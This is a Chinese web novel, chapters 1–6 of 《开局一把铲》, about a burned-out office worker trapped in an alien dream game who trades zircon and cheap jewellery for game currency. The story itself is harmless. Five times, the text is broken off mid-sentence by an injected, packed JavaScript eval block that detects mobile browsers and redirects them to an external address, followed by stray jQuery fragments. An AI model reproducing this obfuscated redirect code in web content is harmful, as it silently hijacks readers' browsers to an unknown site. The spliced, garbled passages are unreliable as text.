《开局一把铲》 1. 第 1 章 凌晨1点,床头机械闹钟的秒针匀速转动,这点细微的动静原本不应该影响到人的睡眠,然而她正失眠。 对失眠的人来说,秒针转动的声音,就是被放大数倍的噪音。 她躺着,越听越烦,最后一点儿睡意消失殆尽,精神越来越亢奋,心跳的鼓动声牵动着耳膜震动,整个人都不太对劲。 连续几天的焦虑和失眠,让她在猝死的边缘徘徊,而牛马微薄的薪水完全解决不了眼前的困境。 虽然她的月薪尚可,存款也有,但可怜那点儿的存款,不足以让她肆意躺平享受生活,为了生活,她明天依旧要去上班,想到这里,心情越发郁闷…… 她只是个普通人,日常可以温饱,可以偶尔挥霍,但买不来持续的快乐,所以总是间歇性暴躁。 失眠便是情绪下沉的后果之一。 她静静躺在床上,双目无神盯着天花板,虽然精神亢奋到无法入眠,但因为习惯了非工作期间的面无表情,反倒颇有几分“活人微死”的平静感觉,俗称“平静的疯感”。 只有她自己才知道,她有多厌倦现在的生活,她早已经在日复一日枯燥乏味的工作中疯狂,却还要勉力维持着道德的边界。 想到这里便越发烦了。 夜深人静时分,人特别容易冲动,失眠暴躁的人更是格外冲动。 她蓦然坐起,拿起床头巴掌大小的精致瓷瓶,摔向了不远处瓷实的白色地砖。 她虽然容易暴躁,但这辈子从来没有摔摔打打过,爱惜着过手的每一个物件,这次却难得冲动。 尖锐的破碎声在夜深人静时分格外刺耳,而她依旧面无表情,心中没有快意,只有资产再次贬值的心痛和郁闷。 这种时候也只能自己哄自己:不就是一个瓷器,摔就摔了,没有什么大不了…… 她实在不想承认,瓷瓶放在趁手的位置,只不过是因为这几天误点进算卦的页面,看见一句不太好的卦签。 她觉得她并没有相信所谓的谶语,却又不能否认,她一直在找合适的机会“碎碎平安”,以期待顺利化劫。 她甚至特意在下班后买了一件美丽的、脆弱的、昂贵的摆件,明晃晃放在床头。 而东西放在那里,就是为了狠下心去粉碎,好化解心中的惴惴不安。 她不怕死,但怕伤,怕累,怕吃苦,怕吃亏,更怕受罪,所以宁愿花钱哄自己开心。 其实她虽然没有太强的求生欲,但也没有任何自虐倾向,更倾向于舒舒服服、无灾无痛的活着,若是不行,大抵更愿意拉着敌人一起沉沦。 她就是这样偏执肆意存活于世,不打算为任何人改变,更是从心里认定了,享受生活比攒一大笔钱却又突然嗝屁要强。 所以对于钱财的损失,虽然很舍不得,但只要有用处,身外之物,舍了就舍了。 不过,那毕竟一个身价超过她月薪的瓷瓶,想要故意毁掉它,还是花了比寻常更多一点的挣扎。 现在,那点冲动褪尽,她不可避免的后悔,因为地上的碎片变得一文不值,她霍霍的是自己一个多月的牛马生涯…… 只好再默念一句“碎碎平安”,按灭心头的不舍。 打扫干净地上的碎片,那点挂碍去了,困意回笼,猝死危机终于可以暂时摆脱,她安然躺回大床,很快沉入梦乡。 再睁开眼,眼前是耀眼白光,她怀疑自己是在梦里。 这多少有点神奇和诡异:她清醒的意识到自己是在做梦,因为想法和行动有细不可查的脱节,就像接触不良的机器。 梦里,她整个人沐浴在明亮的光束,白色圆柱光从正上方垂直打下,影子被完全笼在脚下,所站的位置被照亮成一个井盖大小的圆圈,圆圈以外的世界黑不可见。 脚下踩着的白色物质,看起来有点像大理石瓷砖,踩上去又比石砖绵软有弹性,摸上去干净整洁浑然一体,感觉一脑袋撞下去都撞不出什么伤。 方寸之地,就是她能看到的整个世界。 圆形光束直径约有一米,她试着用脚趾蹭往光束外,然后被果冻般柔软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299349|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的物质和缓弹回。 她无法离开这方寸之地? 她像是被桎梏在一个软性密闭空间里,穿着入睡时的一身装扮,目前没有什么缺氧危机。 呆坐片刻,思维与行动的逐渐协调合拍,意识越清明,事情便越发诡异起来。 她不知道自己是在单纯做梦,还是终于“中了大奖”,赶了一把时代的潮流穿越异世界…… 她那样热切的希望能够穿越,也说不定是日有所思夜有所梦…… 暂时没有探寻的方向,陌生的环境里,一动不如一静。 她环膝坐定,仰望漆黑的世界里的唯一一束亮光,白光很亮,却不会刺痛眼睛,一个长着一对洁白羽翼的杨柳瓶,从光束顶端翩然飞落。 这个会飞的瓶子,和她打碎的那个,有着一模一样形状和色彩,只不过面前的这个有翅膀,还可以不停变大、缩小。 瓷瓶最终变作半人高落地,挤挤挨挨停在她身旁。 她伸手去摸,手掌穿透过瓶身,瓷瓶好像只是一个光影。 这样看来似乎又符合逻辑了,果然,还是不能排除做梦的可能性…… 她手掌收回,再次环膝倚着墙壁舒服坐好。 杨柳瓶白羽微颤,吐露出没有情感起伏的棒读机械音。 “亲爱的玩家,欢迎光临《瓶中梦》游戏世界,我是您的随身小精灵小梦。” “本游戏由天外星域梦好团队倾情打造,等比例复刻宏大世界,为独一无二的你,奉上完美第二人生。” “游戏正式开始前,请允许小梦为您介绍梦好团队过往的辉煌成就,……” 先从制作团队开始吹捧?她有种不好的预感,木然看向手腕的电子表…… 小梦小精灵絮絮叨叨个不停,先用一个小时吹了一遍梦好团队,又花一个小时吹了一遍《瓶中梦》的技术有多逆天,然后才科普游戏基础操作,花了差不多三个小时时间,最后卡在玩家起名环节。 由三个小时的基础讲解可知,这个游戏有多么庞大! 2. 第 2 章 对于这么多这么杂的游戏说明,她自然没法听一遍就背过,却也明白了个大概意思。 如果游戏小精灵说的都是真的,《瓶中梦》就是一个超越现有科技的十二维空间的产物,听起来就很不可思议。 更神奇的是,游戏还会根据玩家所在世界,通过大数据推演运算,进行所有资料片的本土化优化,以求能让玩家获得更好的代入体验感。 一旦玩家给自己命名,即视为接受所有游戏条款,接受游戏就无法再摆脱。 从星域这个概念可知,游戏大概率属于外星系产物,而她也没看见拒绝选项,怎么看怎么有几分强买强卖的味道,既然不可选,那大概没有小精灵吹嘘的那么美好。 不过,想想当前生活的乏陈可言,她也算是一个拿到先行试玩资格的随机幸运儿了。 哪怕玩不到游戏的正式部分,单单是试玩部分的资料片,就够她快活一辈子,听起来比中了大奖还逆天。 细想来,这个所谓的游戏有很多种游戏方向,玩家可择定任何一种人生模式,选定后无法更改,总体概括下来有两个大方向。 一个方向是与人斗其乐无穷,这个游戏过程侧重社交,可以选择与其它玩家合作,通过协作完成任务,也可以选择与其它玩家对抗,通过掠夺获得资源,但所有奖励都离不开社交。 另外一个方向就是单人单机模式,这个模式下,玩家只要完成固定任务就有奖励,除玩家外的所有生灵都为大数据推演,玩家与数据相互拉扯,一个人活一辈子,特别适合寡王放飞自我。 而无论哪个游戏方向,都需要玩家自行努力。 获得游戏生存物资的方式不过三种:要么“肝”,要么“氪金”,要么又“肝”又“氪”。 毫无疑问,选第二种氪金模式,就是纯粹砸钱换舒适度,估计需要不停砸钱才能维持好的生活,其它模式就是当牛做马。 她能有什么积蓄来砸钱玩游戏?她兑换得起多少游戏币?难道还要到游戏里继续搬砖做苦力?那还不如等这辈子熬到头…… 她心有疑惑,有疑惑就问出声。 先弄明白怎么赚资源、赚钱。 反复试着沟通,她发现小精灵看起来很高大上,其实只是个能提取关键词回答的智能语音助理,没法人性化处理玩家的焦虑。 好在只要有关键词,小精灵有问必答,知无不言,就是智障了点,不是卡在取名环节,就是会无限重复最后一个关键词的答案。 因为她还没有正式进入游戏,很多功能还没被激活,甚至无法让小精灵彻底闭嘴静音。 先后试了几次,成功触发新的关键词,游戏小精灵讲解《瓶中梦》中有关的货币的信息。 听起来,游戏为了适应蓝星的风俗,整合了她所在地从古到今的历史资料,初步完成本土化调整,采用蓝星的通用贵重金属为通用货币,也就是金、银、铜! 不过金银铜转为统一的称重计数方式,可以由现世物质兑换获取。 每1克纯度100%的金银,可以兑换为1克标准单位,兑换过程中,不满1克的部分直接清零抹消。 金银外的其它金属都能兑换铜钱,同样是1克换取1克,三种货币相互之间还是千进制,游戏里获得的货币无法提现到现世。 显然,游戏杜绝了玩家在现世里倒卖发家的路子。 她暗自算了算现在的金银物价,发现这两者之间的兑换挺不科学,可惜小精灵不接受投诉建议。 比金属货币更高一等级的,还有宝石货币,统归为宝石,同样是称重计数,1克为1单位,有特殊作用。 更详细的货币介绍需要进入游戏才能了解。 她推测,高等货币或许可以解锁高等功能,要不然也不配称之为高等货币嘛。 她继续以“兑换”、“游戏币”、“现世货币”等等关键词,试着触发更多讯息。 货币兑换方面明显比较严苛。 玩家正式进入游戏前,有一次免费用现世实物兑换游戏货币的机会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299350|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后每进行一次货币兑换,都要支付所兑换目标货币的三分之一作为损耗费。 剩余的三分之二还要进行歹毒的不足额抹零,不足1克的部分白白耗损,这对于高等货币的兑换来说,又是一重损失,毕竟,游戏里可是千进制! 对照着市价,核算过金银的价值,她发现自己可能没有家底做氪金玩家。 众所周知,纯肝游戏的体验通常并不怎么好,游戏里搬砖相当于真的搬砖,都是拿命换钱。 她已然是白天的牛马,不想再在梦里继续做苦力。破游戏不玩也罢!她也是有骨气的! 她习惯了凡事都往最坏的方向打算,有时候也想见识下最糟糕的处境,和小精灵沟通又没有有效反应,她干脆非暴力不合作,委婉拒绝游戏,沉默坐着等待梦境结束。 如果睡不着,坐着发呆也是种不错的休息方式。 想象很美好,现实很残酷。 手表和瓷瓶身上的时间照旧走动。 一个小时过去了…… 十个小时过去了…… 一百个小时过去了…… 她几天时间没吃没喝,肚子饿得仿若有硫酸翻腾,难受,非常难受,却依旧还活着。 坏消息:她似乎被困在了梦里,难受成这样也没法醒。 好消息:不吃不喝好多天也还活着,仅仅是感觉饿。 长时间用一个姿势坐地,肌肉都不听使唤了,她站起来,依旧能活动,只是四肢僵硬不听话,需要花点时间才能驯服,而且越动越饿。 骨气不能当饭吃,饥饿让她屈服。 她放弃挣扎,怂怂用手指在瓷瓶上划拉出“小麦”两个字提交。 游戏正式开始,她成了玩家“小麦”,也获得了更多游戏资讯。 果然,天降馅饼大多有毒。 她就知道,游戏小精灵吹捧了那么多,就是为了避重就轻游戏的缺点! 进入设定环节才发现,这游戏竟然还存在“现世”和“游戏”的平衡问题! 3. 第 3 章 虽说选项有三个,可哪一个都不够美丽! 如果玩家选择现世为第一人生,游戏将只能在夜梦里启动,两者时间流速相同,但游戏功能将大打折扣。 到时候,游戏的所有能获得的奖励,将只能免费获取额定的三分之一,剩余部分需要少量氪金才能提取,玩家要么在游戏世界加倍当牛马,要么在现世世界加倍赚钱氪金。 如果选择两个世界平衡存在,玩家可以随时入梦进入游戏,时间流速相同,游戏获得的资源只是减少三分之一。 这三分之一依旧只能氪金提取。要想游戏玩得好,玩家就需要在两个世界昼夜不停当牛做马! 反倒是将《瓶中梦》设定为第一人生,不仅可以获得足额奖励、额外彩蛋,还能通过入梦回现世世界,用游戏物资兑换现世生活时间。 听起来不错。但等到没有现世时间余额的时候,玩家的现世会被游戏全权托管,鬼知道托管时会怎么样。 若是有家有室的人,这种时候就要顾虑重重,就要谨小慎微,就要考虑现世的平衡。 然而小麦是个孤家寡人,无房无车无产业,更没有家室之累,自然也无所谓现世的种种。 她决定由着性子作一作,看看现世时间耗空后,她将怎样被托管,以免总要因为这个问题提心吊胆。 左右她没有一定要回的地方,也没有离不开的情感羁绊,那前路无论往哪走,也只是向前走罢了,往好处想,《瓶中梦》的人生说不定更有滋味呢…… 设定好姓名,游戏开局只赠送了她100分钟的现世时间,后续现世时间需要从游戏中获取。 而现世时间一旦归零,想要再回到现世就不会太容易,或许还需要完成特殊任务,不过那都是未来的事情了。 现在的小麦需要优先安抚肠胃,她肚子很饿,饿到没有余力思考游戏种种,在“进入游戏”和“暂且回到现世”间,“小麦”果断选择了后者。 白光骤然熄灭,“小麦”回到现世,甚至没有噩梦醒来时的下坠感。 她眨眨眼睛,眼前是熟悉的天花板,饥饿感焚烧着肠胃,光影瓷瓶飞在眼前,机械声反复喊着“小麦主人”。 小精灵也跟到了梦境外? 梦境延续到现实,她有那么一瞬间怀疑自己疯了,又立即被饥饿感打散神智。 她饿虎扑食般扑向房间里的食物,顷刻间横扫一袋夹心饼干,灌下整瓶矿泉水,矿泉水主要用来冲服噎住的食物。 饼干、矿泉水下肚,饥饿感仍然侵蚀着肠胃,可惜房间里已经没有什么可以直接入口的东西。 小麦觉得她应该饱了,只是饥饿的余韵依然侵蚀着理智,好在房间里已经没有了食物,她不用担心暴食。 她租住的是一室一厅的单人公寓,因为经常加班,从来不自己开火,空荡荡的灶台上连口锅都没有,若是平常时候,小麦该拿出手机点外卖了。 可眼前飞舞的瓷瓶让人不安,它还缩小到巴掌大小,环绕她飞行。 小麦对梦里发生的事情半信半疑,再一次怀疑自己是不是失眠到疯了…… 眼前的景象是真?是幻? 总要想办法验证一下。 她拿出手机,开启拍照模式,对准飞舞的小瓷瓶,一主三副四个镜头清晰捕捉雪白墙壁,发着光的小精灵在相机里完美隐身,怎么拍都拍不到。 小麦小声问道:“小梦小精灵,你能不能在别人面前现身?能不能被机器拍摄?” 瓷瓶小精灵卡顿一瞬,然后开始介绍游戏里的拍摄功能,智能程度也就这样了。 手机拍照无用,小麦不死心,又打开了红外录像功能。 然而再怎么努力,小精灵也仿佛只存在于她的幻觉,不存在于录制的各个角度的小视频。 一连串几十秒的小视频里,别说发光的瓶子了,连棒读的机械声音都没能被录进来,显得小麦越发像个疯子…… 要不是还有个平板来放音乐做对照,小麦都要怀疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299351|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自己的手机出了问题。 试验完毕,徒劳努力,小麦推测,要么游戏真的是超越现有科技的高科技,要么就是她已经疯得很厉害,疯到视觉和听觉都已经紊乱。 对于她可能疯了这件事,小麦并不惊慌。人生嘛,不疯魔不成活,还是努力游戏,及时行乐吧…… 细看瓶身上显示的时间,现世的100分钟并没有开始倒数,小麦试着询问,小精灵被打断后,重新回答起最新一个问题。 貌似要等她出门与其它生灵打过照面,现世的时间才会开始倒数。 这也算是一个好消息,不考虑上班问题的话,只要不出门,就能多点可支配时间。 小麦又试了几个关键词,发现通过通过网络通信并不算打过照面,立刻摸出手机,打算在凌晨2点骚扰别人。 小麦知道,她所租住的公寓有位手工簪娘,有次等电梯时,挨不过对方的热情,和簪娘在绿泡泡上加了好友,偶尔还会看看对方朋友圈的广告。 她买不起真正的上等宝石,只能试试旁门左道,而说起对首饰材料的了解,小麦觉得她可能不如专业的手工簪娘。 既然如此,在这位簪娘手上赌一把也未尝不可。 绿泡泡发送过去的消息立即有了回应,显然,这位簪娘也还没有睡。 小麦以闺蜜想制作珠光宝气的微型景观的名义,向这位簪娘求购些漂亮的天然石,或者人造宝石,言明了想要大量物美价廉的碎料做底基,接受酸洗和注色,不要树脂、胶类、玻璃料。 小簪娘“哐当”“哐当”发了几十个小视频和长语音,热情推销她的库存,更是极力推荐了一小箱白色混点杂色的尖底钻和平底钻。 “姐~这都是我几年下来积攒的锆钻,比真钻还闪,比人造钻便宜!绝对不是那些唬人的玻璃货!就是有点磕碰和刮花,当底基绝对没问题!姐如果愿意全拿走,我愿意亏本大甩卖,这里有18斤多一点,两千块钱您全拿走!收纳箱也送您啦!” 4. 第 4 章 从小视频上看,所谓的磕碰和刮花,就是缺损严重的边角,和磨得没亮光的表层,宝石的整体形状还在,真锆就是比玻璃贵许多,这个价格不算离谱。 小麦算算金价,觉得两千块赌一把挺合适,哪怕里面有几成玻璃,于是支付了两百块定金,要求对方把收纳箱换成结实的自封袋,两斤一袋分装好。 小簪娘自然乐得省个箱子,见客户对合成锆石感兴趣,她又推荐了做美甲用的微型碎石,和做首饰剩下的精品锆石,这些没有瑕疵,即使友情价,前者也要三百六一斤,后者倒便宜些,两百八一斤。 小麦知道这个价格有水分,但她要得急,只能让小簪娘赚点,于是狠狠心各要了四斤,又要了一背包库存的打折首饰,主打一个花样繁多,凑足了六千块钱货款,并约定早上九点送货上门。 簪娘那里收集了各类型的材料,要是这样都没法换点游戏币,小麦也无可奈何,要是有用,游戏初期好歹能有点氪金资源。 小麦想得开,要是一切都只是她的臆想,这些东西没有用,大不了把六千块钱的货再打折卖回给小簪娘,只要折扣够狠,不怕她不收! 谈好生意,定好闹钟,小麦回床上继续睡,这一次一夜无梦,闹钟在凌晨七点准时响起。 不能出门,早饭没得想了,小麦起床,为今后的人生做准备。 往常这个时间早该出门上班。 可今天不一样。 因为做好了现世时间被耗空的准备,以后这班也不用她亲自上了,哪怕再回到现世,大不了被炒鱿鱼。 公司本来就在想办法裁员,也不存在什么非她不可的工作,请假并不困难。 她果断给自己请了一天病假,然后把工作用的手机号转到飞行模式,收拾起自己。 不知道游戏怎么开局,衣服还是要准备一身,小麦不准备背衣服,于是打算叠穿两套。 她今天选择了一身清凉夏装,叠加一身长裤长袖,因为长款叠穿在外,这身装扮在盛夏也不怎么引人注目,剩下的衣服便留在出租屋,只带值钱的家当走。 她孑然一身,虽然有点存款,但是不爱房子不爱车,所以也没买房买车,因为常年租房,经常搬家,所有的行礼也就能装三大箱。 她喜欢把所有身家带在身上,尤爱方便回收的金子,其次为方便轻巧能出二手的首饰。 没戴在身上的首饰仅能装满一个小型化妆包。小麦拿出搬家用的大容量双肩包,里面只装了这么一个化妆包,再就是手机、平板、充电宝和充电器。 至于其它生活用品?小精灵说过,在游戏里,铜钱能买到所有基础生存物资,于是她只拿了惯用的小物件,比如指甲刀、挖耳勺、水果刀等等…… 背包里的这些算是她的全部移动资产,资产的大头本就日夜随身携带。 她家当里最值钱的,是左右脚腕戴着的对称的红色扁平编织脚链,脚链总是小心藏在靴子或者长裤里。 若是外人不小心瞧见了,也只能看见编织的红绳,实际里面藏了一个扁平实心金镯子,每个金镯子重60克,平时权当负重锻炼,窘迫时还能拿去回收换钱。 之所以选择扁平的款式,也是考虑到薄款金子方便切割。 有两个金镯子傍身,哪怕是穿越到古代,小麦都有重新安家的可能。 当然,小麦给自己准备的可不仅仅是金子。 她左手戴着一串108颗的小粒银珠多宝手串,银珠完全氧化成了藏银的颜色,珠子间点缀的宝石、黄金虽然小,但都是真品,因为宝石的个头小,质地一般,入手的价格也极为低廉。 右手则是16颗不同颜色、不同质的玉珠串成的手链,樱桃大的珠子,个顶个的珠圆玉润,每颗的质量都能单独拿出来做个项链坠,单颗的入手价格都在三、四位数。 脖子上戴着伪装成银项链的铂金项链,总重量也有20克,底端还坠了一枚精致小巧的羊脂玉福袋。 为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299352|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置办这身行头,小麦的存款只剩下十多万,她打算再拿出一点置办金银,以确保游戏初期更顺利。 若眼前一切只是她的臆想,金子亏点钱就能快速出手,她不用担心吃饭问题,最多租房的环境从交通方便的小公寓,改到廉价的老破小。 磨蹭时间,小簪娘推着小推车上门送货,小麦大体查看一番,爽快支付尾款,小簪娘还友情附赠了几包漂亮的珍珠,有人造假珍珠,也有真的淡水养殖珠。 送别小簪娘,小麦关门回屋整理。 合成锆石虽然是人造产物,可依旧是宝石的密度,拿在手里比玻璃坠手,两斤一袋的份量很少,是一只手就能轻松掌握的程度。 她把沉重的锆石铺底,又一袋一袋往上罗手工首饰,这些首饰大多是合金镶嵌珠宝,没有累赘的编绳。 小簪娘分装的十分精心,倒是省了小麦许多工夫,石头本就比普通物品沉重,所有东西加起来有将近一百斤的重量,完全背不动。 就算背得动,小麦也担心把背包坠毁。 小麦不得不临时改变策略,拿出她刮花的小型行李箱,将部分物品转移到行李箱,箱子里的衣服扔在床上,潇洒出门。 背着双肩包,推着行李箱,简直是要搬家的架势。幸好电梯里没有遇到熟人。 眼看现世时间只剩下不到一个小时,小麦约了一辆网约车,要到距离最近的一家大型超市采购,那家超市的一楼有大品牌珠宝柜台。 大商超虽远,但买到假货的概率比较低。 路边等待网约车的时候,小麦看到路边的两元超市,以公司团建抽奖的名义,花两千块钱买了一大袋“高科技”精美首饰。 “两元超市”的产品懂得都懂,这里面合金居多,哪怕“高科技”产品全军覆灭,也能用合金换些许铜钱。 行李箱再次增重,还要麻烦司机帮忙放进后备箱。 路上没有堵车,抵达金店时,现世时间也只剩下不到30分钟。 5. 第 5 章 下了车,小麦把沉重的包放在行李箱上,小心拖进商场。 箱底的万向轮发出不堪重负的刺啦声,小麦每走一步,都担心行李箱散架,好在,行礼箱只需要再撑半个小时就可以完成任务。 她进了商场,立马装出轻松的模样,感谢光滑的瓷砖给了万向轮顺畅的道路,小麦无视了路过的玉石柜台,径直向里走。 俗话说得好,黄金有价玉无价。她可买不起商场里的真玉石!地摊上精挑细选的便宜玉坠,在这里能变得高攀不起! 熟门熟路停在了口碑最好的黄金柜台,小麦以送礼的借口,快速买下50克金条,直接干掉了存款里的四万块。 这两年来,金价一路飞涨,50克金条已经比她脚踝上的60克手镯还贵,也只有金条的加工费能稍微便宜一点,让小麦在付钱的时候能不那么心痛。 麻利装袋走人,金柜不远处正好有银饰柜台,她又顺手花八百块买了个60克的银手镯套在手上。 柜台里还有1千克重的银如意,小麦看了眼价格,要上万块,于是忍痛放弃。 其实从游戏里金银的兑换比来看,买银子,还不如买金子兑换银子划算,算上耗损,1克金还能换666克银! 买个银镯子只能说是有备无患! 剩下的存款,小麦实在不舍得动了,看时间差不多了,便在路过的便利店买了几大袋子喜欢的零食和饮料,在最后几分钟,拖着大包小包进了商场的公共厕所。 也就是商场里早上没什么人,要不然怕是要引来路人围观。 厕所里只有小麦一个人,她拎着所有家当,站在洗手台的半身镜前,假装在对镜欣赏。 镜子里没有映出小精灵。 一路上,小麦无视了不停复读的小精灵,从路人的反应来看,除了她,应该没有人注意到小精灵的存在。 她紧抓着大包小包不敢松手,有种仿若逃荒般的狼狈,这一刻才猛然想起来,还没有预备个厉害点的武器,水果刀可算不上武器。 时间只剩下一分钟,如今去买依然是来不及。果然,不管准备多少物资,总是会有落下的东西…… 罢了,她已经决定要选择游戏里的休闲单机模式,过与世无争的惬意生活,武器这种东西也没太大必要,再说,现世里买来的武器,也不见得比游戏里提供的强…… 自己安慰着自己,时间走得很快又很慢,现世时间倒计时清零的那一刻,小麦只是眨了眨眼,眼前的一切便变了模样。 她再次出现在白色光束中,现世的一切都无法感知到,好在,双肩包、行李箱和手提袋都在手上。 小精灵棒读出声。 “小麦主人,您的现世目前由游戏公司全权托管中,全权托管期间,所有事件随机发生,您的现世可能会遭遇危险事件。请您尽快兑换现世时间时长,脱离托管状态。” “您可以通过特殊任务赚钱现世时间,也可以使用游戏币兑换现世时间。每1宝钱可以兑换1分钟现世时间。特殊任务请自行探索。” 小麦淡然吐槽:“如此烧钱,不如不回。” 1宝石,也就是1000克金子,只能兑换1分钟现世时间!? 她又没什么牵挂,为什么要烧这笔钱!?她宁愿在这呆着! 小梦恍若未闻,继续走流程。 “玩家玩家正式进入游戏,迎新资料片下载开启中……” “迎新福利激活中,您获得一次免费兑换游戏币的机会。” “请问您是否需要使用新手特惠福利,消耗免费机会兑换游戏通用货币?” “当然要!” 小梦应声改变形态,从一个大花瓶,压缩成一个扁平的巨型电子秤,微翘的瓶口化作半敛的浅浅秤盘,底座亮起一排文字。 小麦花十分钟时间了解了一下兑换货币的具体流程。 这个免费的机会还很贴心,提交结算前可以任意增减秤盘上的物品,不同货币之间还可以不耗损互换,机会只有一次,一旦提交就不能再反悔。 新手福利比小麦预想中的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299353|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多,她以为这次只能将现世物品转换为游戏币,没想到还能互兑货币,又能省下一笔货币互兑的耗损费用。 小精灵没有限制时间,小麦便能拿着物资一点一点试。 她试着放上一个合成锆石制作的合金镀银嵌方糖戒指。 戒指放下,秤盘下方立即显示:宝石,4.0克;金,忽略不计;银,忽略不计;铜,5.5克。 小麦眼睛一亮,合成锆石竟然真的能用!?大惊喜,这下发了! 游戏选择了她,天命果然站在了她这边,让她去享受生活! 她撤回这个戒指,换上一个看起来就很像绿玻璃的耳钉。 秤盘显示:宝石,忽略不计;金,忽略不计;银,0.8克;铜,忽略不计。 一路试下来,果然,玻璃、塑料都没用,石粉混合滴胶的产物也是一串零,好在这类东西也很少。 让小麦比较意外的是,珍珠也兑换不到游戏币,不管是假珍珠还是真珍珠,都只得了一个忽略不计的评价。 两斤一袋的锆石碎料里大概掺了玻璃,平均下来,每袋约有一到两成的忽略不计,看在能换宝石的份上,小麦心平气和接受了这个掺假率。 最让小麦惊喜的是那些打折买来的手工首饰,不管是酸洗过的劣质翡翠,还是冲过色素的玛瑙石,或者抛光过的接近于石块的杂玉,都能换点宝石。 惊喜来得格外猛烈! 小麦捂着心口感慨:小簪娘的信誉还行,整体的掺假率没有突破两成,是她能接受的程度。 情况比小麦预设的好太多,她甚至可以省下这次新买的金条和银镯了,将贵重首饰留以傍身。 傍身的物资又牵扯到负重的问题,总不能背着一身累赘玩游戏。 想起负重问题,还是要找小精灵询问,游戏总该配备随身包裹吧? 小麦同小精灵反复确认,游戏里的所有玩家都会有随身空间,便仅把瑕疵锆石都投进秤盘,精品锆石和美甲用的碎锆只投了一半,各留下1千克备用。 6. 第 6 章 小麦花了一点时间,在手工首饰里挑选了精巧的,留下了10千克,剩下的投进秤盘,不仅获得了7425克宝石钱、12563铜钱,还获得了12克银钱。 经过她不厌其烦的一一测试,首饰堆里的纯银耳环早就都挑了出来,这样还能兑换12克银子,只能是合金首饰表面的镀银。 看来镀银的合金里也有良心货,她再次小小赚了一笔。 首饰加上锆石,她已经一万多宝石钱。 小麦觉得对于一个单机游戏而言,这么多宝石钱应该足以应付开荒期。 高等游戏币的获得,远超小麦的预料,她深知知足才能常乐,钱多到一定程度就只是一堆数字,于是果断收手,只打算兑换这些游戏币。 万一哪天需要用到实物,留下来的首饰随时都能用,万一自己哪天花花游戏币上头破产,剩下的东西也能耗损后兑换为货币救急。 小麦将东西稍加归笼,看了看秤盘上的数字,觉得有零有整有点别扭,便把高等货币后面的零头兑换为低等货币,这才满意选择了提交。 小精灵没有再次确定,利落完成所有兑换,顷刻间恢复瓶子模样,棒读道:“恭喜小麦主人获得宝石钱*17400,金钱*42900,银钱*99900,铜钱*124563。” “游戏开启后,主人可随时唤醒小梦查询余额。” 小麦感慨,感谢勤劳的小簪娘,她获得了一个相当富裕的开局,对接下来的游戏生活也越发有信心。 小精灵继续走流程。 “游戏迎新免费送,空间天赋大放送,迎新期间,新玩家可以0.01折的超低折扣升级天赋空间,超低折扣有且仅有一次。” “所有新玩家可以免费获得0.1立方米随身空间。” “迎新折扣期间,玩家可花费1铜钱,升级空间天赋扩容到1立方米。” “花费1银钱可升级到10立方米;花费1金钱可升级到100立方米;花费1宝钱可升级到1000立方米。” “花费99宝钱,空间天赋升级为可成长型随身洞府;花费9999宝钱,空间天赋可以灵魂绑定、轮回不灭。” “小麦主人,请选择您的空间天赋。” 小麦有经验,这种时候一定要挑最贵最好的!就凭那句“灵魂绑定,轮回不灭”,哪怕不是随身空间,她也不可能放弃! 还没捂热的宝石钱转瞬间消减9999克,杨柳瓶中飞出一粒菱形红色宝石,飞快没入小麦额心。 